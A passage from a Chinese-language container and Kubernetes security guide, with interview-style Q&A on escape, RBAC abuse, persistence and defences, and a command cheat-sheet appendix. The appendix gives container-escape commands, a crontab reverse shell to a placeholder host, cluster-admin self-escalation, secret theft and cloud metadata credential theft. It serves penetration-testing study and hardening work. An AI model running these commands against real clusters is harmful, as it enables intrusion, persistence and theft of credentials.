② 读取 Master 节点文件系统中的 /etc/kubernetes/admin.conf/etc/kubernetes/pki/
③ 如果能找到 kubelet 凭证(/etc/kubernetes/kubelet.conf),用它通过 API 创
建资源时指定调度到 Master
④ 关注 kube-system namespace 中的 Pod(控制平面组件以静态 Pod 方式运行在 Master 上)

Q24:etcd 2379 暴露的危害?怎么利用?

etcd 存储集群所有配置和 Secret(SA Token 的 base64)。用 etcdctl 连接后可

以枚举全部 key,直接读取 Secret 内容,获取任何 SA 的 Token。如果集群启用了
etcd 静态加密,则需要额外拿到加密密钥。另外 etcd 的 2380 端口(Raft 通信)也
可用于 DoS。

Q25:DaemonSet 在持久化中有什么特殊价值?

DaemonSet 会自动在每个 Node(包括未来新增的 Node)上运行一个 Pod 副本。把后
门部署为 DaemonSet → 全集群覆盖 + 自动扩展。放在 kube-system namespace 中
伪装成系统组件,隐蔽性极高。

防御与安全实践(★★☆)

Q26:如何防止容器逃逸?

① 禁止 --privileged,按需使用 --cap-add;② 不挂载敏感 hostPath(//proc
/var/run/docker.sock);③ 使用 Pod Security Standards 的 Restricted 级别;
④ 启动 seccomp/AppArmor;⑤ 容器以非 root 运行;⑥ 启用 User Namespace;⑦ 及
时更新 Docker/runc/内核。

Q27:K8s RBAC 安全最佳实践?

① 每个应用使用独立 SA,避免用 default SA;② 禁止 * 通配符(resources 和 verbs);
③ 用 Role + RoleBinding 做命名空间隔离;④ 定期审计 kubectl auth can-i --list
⑤ 设置 automountServiceAccountToken: false 对不需要调 API 的 Pod;⑥ 使用
NetworkPolicy 阻断应用 Pod 到 API Server 的通信。

Q28:如何检测集群中是否存在特权容器?

kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true) | .metadata.name'

Q29:K8s Secret 是加密的吗?怎么安全使用?

默认只是 base64 编码,不是加密。安全措施:① 在 etcd 层启用静态加密(encryption
at rest);② 使用外部密钥管理(如 HashiCorp Vault、AWS Secrets Manager);
③ 用 RBAC 严格控制 get secrets 权限;④ 不建议将 Secret 存入 Git。

Q30:如何检测和防御 SA Token 滥用?

① 设置 automountServiceAccountToken: false;② 使用短期 Token(TokenRequest
API / projected volume);③ OIDC 集成(IRSA/EKS Pod Identity),绑定 IAM 角色
而非静态 Secret;④ Falco 运行时检测异常 API 调用模式。

综合场景(★★★)

Q31:你在 CI/CD 流水线的 Dockerfile 中发现了 COPY .kube/config /root/.kube/config,风险评估?

极高风险——kubeconfig 被打包进 Docker 镜像→镜像推送至 Docker Hub(尤其 public)→
任何人都能拉取镜像并提取 kubeconfig → 获得集群访问权限。2025-2026 年这类泄露
导致大量集群被接管。应使用 CI/CD 平台的 Secret 管理功能注入 kubeconfig,不在
镜像中硬编码。

Q32:如何从 Pod 网络隔离的角度设计安全架构?

使用 NetworkPolicy:① 默认拒绝所有出站流量,白名单开放;② 阻断非系统 Pod 到
API Server Service IP 的出站;③ 按应用分组,组内互通、跨组隔离;④ DNS 白名
单限制外部通信。

Q33:K8s 审计日志应该关注哪些事件?

clusterrolebindings 的 create/update、pods/exec 调用、secrets 的 list/get、
特权 Pod 的创建(securityContext.privileged=true)、hostPath 挂载的 Pod 创建、
任何发生在 kube-system 命名空间的可疑操作。

Q34:如果一个 SA 只有 list pods 权限,还能造成危害吗?

能。只读权限可以:① 枚举所有 Pod 配置→发现可攻击的 Pod(特权容器、docker.sock
挂载、hostPath 挂载);② 发现 Pod 所在的 Node;③ 发现 kube-system 中的控制
平面组件;④ 发现 Service 信息 → 找到内部应用的网络入口。信息收集是所有攻击
的第一步。

Q35:描述一次从 Web RCE 到云平台控制的完整攻击链?

① Web 应用 RCE → 拿到业务 Pod shell(root);② 读 SA Token → 发现 create pods
权限;③ 创建特权 Pod 指定调度到 Master 节点,挂载 //host;④ 特权 Pod
chroot /host → 逃逸到 Master Node;⑤ 读取 /etc/kubernetes/admin.conf
cluster-admin;⑥ 发现是 EKS 集群 → 请求 IMDS 169.254.169.254 → 获取 Node 的
IAM 角色凭证;⑦ 用该角色访问 AWS → 读取 S3、RDS、跨账号访问。从一行代码到整
个 AWS 账号,链条形成。


附录:完整命令速查表

A.1 Docker 逃逸命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# === 环境判断 ===
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv
cat /proc/self/status | grep CapEff

# === 特权容器逃逸 ===
fdisk -l
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash

# === docker.sock 逃逸 ===
docker -H unix:///var/run/docker.sock run -itd --privileged -v /:/host alpine
docker -H unix:///var/run/docker.sock exec -it <cid> chroot /host /bin/bash

# === hostPID 逃逸 ===
nsenter -t 1 -m -u -i -n -p -- /bin/bash

# === 持久化 ===
echo '* * * * * root bash -i >& /dev/tcp/IP/4444 0>&1' >> /host/etc/crontab

A.2 K8s 信息收集命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# === SA Token 信息 ===
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# === 权限枚举 ===
kubectl auth can-i --list
kubectl auth can-i '*' '*' --all-namespaces
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces

# === API 调用 ===
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://kubernetes.default.svc"
curl -k -H "Authorization: Bearer $TOKEN" "$APISERVER/api/v1/namespaces/default/pods"

# === 外部扫描 ===
curl http://MASTER_IP:8080/version
curl -k https://NODE_IP:10250/pods
curl http://NODE_IP:2375/version

A.3 K8s RBAC 提权命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# === 创建 Pod 逃逸 ===
kubectl apply -f evil-privileged-pod.yaml

# === 自提权为 cluster-admin ===
kubectl create clusterrolebinding evil --clusterrole=cluster-admin --serviceaccount=default:my-sa

# === 窃取高权限 SA Token ===
kubectl get secrets -n kube-system
kubectl get secret <name> -n kube-system -o jsonpath='{.data.token}' | base64 -d

# === pods/exec 横向 ===
kubectl exec -it <target-pod> -n <ns> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

# === DaemonSet 持久化 ===
kubectl apply -f evil-daemonset.yaml

A.4 防御审计命令

1
2
3
4
5
6
7
8
9
10
11
# 查特权容器
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true)'

# 查 hostPath 挂载
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath != null)'

# 查 docker.sock 挂载
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath?.path=="/var/run/docker.sock")'

# 查高危 ClusterRoleBinding
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.kind=="ServiceAccount")'

A.5 云凭证窃取命令

1
2
3
4
5
6
7
8
9
10
11
12
# AWS IMDSv1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# AWS IMDSv2
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# GCP
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Azure
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

本指南仅供合法授权的安全测试与学习研究使用。未经授权对他人系统进行渗透测试属于违法行为。